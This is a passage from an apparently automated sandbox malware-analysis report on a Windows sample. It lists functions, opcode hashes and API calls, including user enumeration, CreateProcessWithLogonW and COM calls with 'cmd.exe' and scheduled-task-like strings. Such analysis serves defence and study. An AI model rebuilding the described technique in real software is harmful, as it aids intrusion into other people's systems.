                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: fda3bc7136fad63692ea13eb0df83ff4ace332ecd58bb5a45ea7b06bc79ff9bd
                                                                                                                                                                                                            • Instruction ID: f84bb95602b786eda625d293fa24169cae21de97630f021d2562301d3a5a23f9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fda3bc7136fad63692ea13eb0df83ff4ace332ecd58bb5a45ea7b06bc79ff9bd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 58E18A309067859FDB25CF2AC8816BE7BE1AF6A314F14816FD4E54B3C1C638AD46CB48
                                                                                                                                                                                                            Function 00448360 Relevance: .4, Instructions: 390COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 67012e555016796dca32be15a4a4708593d4b9cfb006d1ee6d7d65e73d46c3ae
                                                                                                                                                                                                            • Instruction ID: d50c75c3876421525f344fdd73dc0d94e20a485c8d9004176434aa332c09f1d1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 67012e555016796dca32be15a4a4708593d4b9cfb006d1ee6d7d65e73d46c3ae
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 13E1F530A045558FDB08CF68C8806ADBBF2EF85314B29C1AED895DB346DA39DA46CB54
                                                                                                                                                                                                            Function 00439B90 Relevance: .3, Instructions: 333COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: e42fcb3eab6dfdb7d92a05da4ca5687e3eaacf820ae962d547ea67b0616ab27e
                                                                                                                                                                                                            • Instruction ID: 225706b8245442841e5fafbb32bd6a2fabd71da86d83268e1d7ace3ee5cdc439
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e42fcb3eab6dfdb7d92a05da4ca5687e3eaacf820ae962d547ea67b0616ab27e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5FD12572E0021A8FCB18CF99C9815AEFBF2FF98310F24952AD855AB744D774AD01CB94
                                                                                                                                                                                                            Function 00406B60 Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
                                                                                                                                                                                                            • Instruction ID: 661d4224e0226a62dc5565bcde94e6aa946e1ef99945e038f73d7b47cfba27f7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F7917371D01215AFDB50EFA5C840B9EB7B5AF88304F26847EE805B7381D738AD11CBA8
                                                                                                                                                                                                            Function 0044BFE3 Relevance: .2, Instructions: 236COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 30296fb46389e41053c9c1891a2e91179b26c183d1817db7ada92d60d53047d1
                                                                                                                                                                                                            • Instruction ID: b8886794a6e5007edff55ecb8f40356a68830081a2fd7a3c661494ca94f11cdd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 30296fb46389e41053c9c1891a2e91179b26c183d1817db7ada92d60d53047d1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1581C5319893918BC795DF38C8D56D6BBB1EE4322432E85DDC8940EA03E22F651BDF51
                                                                                                                                                                                                            Function 0043A6D0 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 031776b64819325f8bc44260e121548c68ef4edaa7e8b27829c2e6f5598c06c9
                                                                                                                                                                                                            • Instruction ID: 74367e3e6ab0b74d7f5c1cf3bcaa0d89af6e6a6e1ec9fa16ff19e2e679a1abb2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 031776b64819325f8bc44260e121548c68ef4edaa7e8b27829c2e6f5598c06c9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5551C633F219214BF348CA79CC8415A73D3EBCE31071AC27AD901D7295E974E96396C5
                                                                                                                                                                                                            Function 0040DDA0 Relevance: .2, Instructions: 158COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 90413d9f9a7a2a51136cfd3257986b2c0b32359f2b68ce7d43070aef4feff374
                                                                                                                                                                                                            • Instruction ID: 6b590965bade377d4829cb5edd661b89940232f3d33fb21e100e917a0d425a21
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 90413d9f9a7a2a51136cfd3257986b2c0b32359f2b68ce7d43070aef4feff374
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F6518E7190D3928BD311CF29C48066BFBE1AFD9314F048A6EF8C4A7351D7788A49CB96
                                                                                                                                                                                                            Function 0043A4F0 Relevance: .1, Instructions: 147COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: f940f7e9c8dad2819d7ac41217777f41bdb57ab302bde7adc409946197b50135
                                                                                                                                                                                                            • Instruction ID: e5d6b1d35e3d87a4e74f21fc64f62253c0a3e01d769b06703654ef7c4b1d687f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f940f7e9c8dad2819d7ac41217777f41bdb57ab302bde7adc409946197b50135
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F941C377E51A3947F3188949CD81754AA52ABCC324F2B83B5CD2C6B316D8B9ED039AD0
                                                                                                                                                                                                            Function 0040DFC0 Relevance: .1, Instructions: 142COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: a9bc7354a3e354d1b015df0f8da07e1055657b15d563b5e6f57843a172319e40
                                                                                                                                                                                                            • Instruction ID: d8d0adafabcbd5d708f1da50a49402fb3bf4ae1d939e6727f3124d8f61b49aed
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a9bc7354a3e354d1b015df0f8da07e1055657b15d563b5e6f57843a172319e40
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ED51A17150C3A18BD315CF2AC48066BBBE1BBC9314F048E6EE8D497351D778DA09CB96
                                                                                                                                                                                                            Function 0042CF60 Relevance: .1, Instructions: 74COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: f20fa1024a9688b10060da5d67fc074633dd4eaa16d4fe3a3c2409f5f1f9c4f6
                                                                                                                                                                                                            • Instruction ID: c0d06c3b42bc6b51c97fcab68d65b60e5fd230549ea87696981b9f88f0129265
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f20fa1024a9688b10060da5d67fc074633dd4eaa16d4fe3a3c2409f5f1f9c4f6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 00214F339748B601E7504B718D586227BD2CFCB206FAF81B5D644C7992D63ED4029564
                                                                                                                                                                                                            Function 0040DA50 Relevance: .1, Instructions: 53COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: e9c930fd42fec790c80e573c3d74de70e79dd5c7963e19442b8978de89fab75a
                                                                                                                                                                                                            • Instruction ID: 83a3f7d0e66a37bb7e6fdedb80276840f88715c9868f56da058082779efa7e5d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e9c930fd42fec790c80e573c3d74de70e79dd5c7963e19442b8978de89fab75a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2101C92BB7CE0E45C51940AC1424A6A11801B127657D4063BAAC7F83D5EFEDD86FD84F
                                                                                                                                                                                                            Function 00412FF0 Relevance: .0, Instructions: 40COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 81f8b4470660630fa8e642daca3cb37112d29c707e5c6907703c9fc4351451dd
                                                                                                                                                                                                            • Instruction ID: b04785f1e362cafcd50622ec6ea8703a75b25b73c25fc77f3c2a0d59776fd131
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 81f8b4470660630fa8e642daca3cb37112d29c707e5c6907703c9fc4351451dd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2B01F7B19053189FEB20CF94DD8579BBBF4FB01305F40809DE98D93240C3755644CB96
                                                                                                                                                                                                            Function 00406800 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
                                                                                                                                                                                                            • Instruction ID: 7532f4c657dbcf864b1e0f3702b5c669a99d63d3a165ab0069a886a8ac68f27f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4AC04C36111850CFC642DB08E144D81B3E4EF05631B0A84C5A4055B621C234ED41CA40
                                                                                                                                                                                                            Function 00403579 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035AB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035F7
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403616
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 00403630
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403653
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040366A
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040367E
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004036D3
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 004036F2
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 00403725
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004037BB
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 004037EC
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000), ref: 004037F3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004037FA
                                                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0040382B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403887
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040388A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403897
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040389A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038AD
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038B0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038BD
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004038C0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$FreePointerValidatewcsstr$AllocCloseCreateHandleInitModuleNameReadSizeVariantWrite_snwprintfmemset
                                                                                                                                                                                                            • String ID: 00-->$<Actions $p=Dv
                                                                                                                                                                                                            • API String ID: 3028510665-2653830224
                                                                                                                                                                                                            • Opcode ID: 955b91e7d97598c02b1fd98b2500fdb02c6b2481e78ce23fabddc674594c4510
                                                                                                                                                                                                            • Instruction ID: 60e659956de6826fb5c9e3504b81639812d481b549725b71a5a6ffd7b5f9c5d4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 955b91e7d97598c02b1fd98b2500fdb02c6b2481e78ce23fabddc674594c4510
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CBA1CEB2504311ABC720DF64CC48F5B7BA8EFC8751F048669FA45EB291D774EA04CBA8
                                                                                                                                                                                                            Function 00402F30 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 436commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.OLE32(00000000,00000000,?,?,76D6DB30), ref: 00402F40
                                                                                                                                                                                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00402F60
                                                                                                                                                                                                            • CoCreateInstance.OLE32(004043F0,00000000,00000001,004041E0,?), ref: 00402F87
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402F9F
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402FBA
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402FD8
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00402FF6
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0040307C
                                                                                                                                                                                                            • CreateFileMappingW.KERNELBASE(?), ref: 00403082
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00403088
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0040308E
                                                                                                                                                                                                            • InterlockedDecrement.KERNEL32(004035B6), ref: 004030CD
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(00404EEC), ref: 00403276
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 0040329B
                                                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 004032B9
                                                                                                                                                                                                              • Part of subcall function 00402E50: GetProcessHeap.KERNEL32(00000008,00000010,00000000,?,004030A1,00404ED8), ref: 00402E58
                                                                                                                                                                                                              • Part of subcall function 00402E50: HeapAlloc.KERNEL32(00000000,?,004030A1,00404ED8), ref: 00402E5F
                                                                                                                                                                                                              • Part of subcall function 00402E50: SysAllocString.OLEAUT32(004030A1), ref: 00402E80
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00403366
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0040336C
                                                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00403372
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Variant$ClearInit$Alloc$CreateHeapInitializeString$DecrementFileInstanceInterlockedMappingProcessSecurity
                                                                                                                                                                                                            • String ID: cmd.exe$p=Dv
                                                                                                                                                                                                            • API String ID: 3029307448-1819144570
                                                                                                                                                                                                            • Opcode ID: ce624a195721d34df8c0ff0fb2f0b689a1a1700c9ed8d61842eb4ad22ab92356
                                                                                                                                                                                                            • Instruction ID: 9e23888bed06d8ec6237e29dc82f696ab5e76098d001fcea0e973b2596c5eb93
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ce624a195721d34df8c0ff0fb2f0b689a1a1700c9ed8d61842eb4ad22ab92356
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 64F10875E002199FCB00DFA8C884A9EBBB9FF88710F1581AAE914BB351D774AD01CF94
                                                                                                                                                                                                            Function 00401D80 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 169threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,76D6DB30), ref: 00401DA6
                                                                                                                                                                                                            • NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,?,?,?,00000000,76D6DB30), ref: 00401DC2
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401E08
                                                                                                                                                                                                            • NetUserGetInfo.NETAPI32(00000000,00000000,00000001,?), ref: 00401E19
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(?), ref: 00401E3A
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(?), ref: 00401E45
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 0040181B
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,75C25430,00000000,?), ref: 00401833
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040185D
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 00401860
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 00401873
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401898
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 004018AC
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004018CA
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 004018CD
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 004018DD
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00401E65,000000FF,00000000,00000000), ref: 004018FF
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401913
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401933
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 0040193A
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 0040194A
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401967
                                                                                                                                                                                                              • Part of subcall function 004017F0: CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040199B
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,?), ref: 004019AD
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019B6
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,?), ref: 004019C2
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 004019C5
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019D2
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019D5
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401EAA
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019DE
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 004019E1
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00401E65), ref: 004019F1
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019F4
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00401E65), ref: 00401A01
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 00401A04
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401EEA
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401F26
